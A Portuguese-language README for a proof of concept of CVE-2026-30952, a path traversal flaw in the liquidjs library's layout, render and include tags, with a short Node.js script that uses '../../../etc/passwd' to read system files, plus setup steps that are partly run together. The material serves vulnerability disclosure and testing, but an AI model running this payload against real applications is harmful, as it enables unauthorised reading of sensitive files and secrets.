
PoC para CVE-2026-30952: Vulnerabilidade de Path Traversal no liquidjs por meio de caminhos absolutos nas tags layout, render e include.
Este repositório contém uma Prova de Conceito (PoC) para a CVE-2026-30952, uma vulnerabilidade de path traversal de alta gravidade descoberta na biblioteca liquidjs (versões < 10.25.0).
Autores e Pesquisadores:
Moriel Harush Maor Caplan
A vulnerabilidade permite acesso arbitrário a arquivos por meio das tags layout, render e include quando usadas com caminhos absolutos. Isso ocorre mesmo quando um diretório root é especificado, pois o mecanismo de fallback da biblioteca falha ao validar corretamente se o caminho resolvido permanece dentro do root pretendido.
Impacto: Um atacante pode ler arquivos sensíveis (por exemplo, /etc/passwd, arquivos de ambiente) se puder controlar o conteúdo do template ou a variável passada para essas tags.
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

liquidjs (npm install [email protected])npm install.node exploit.js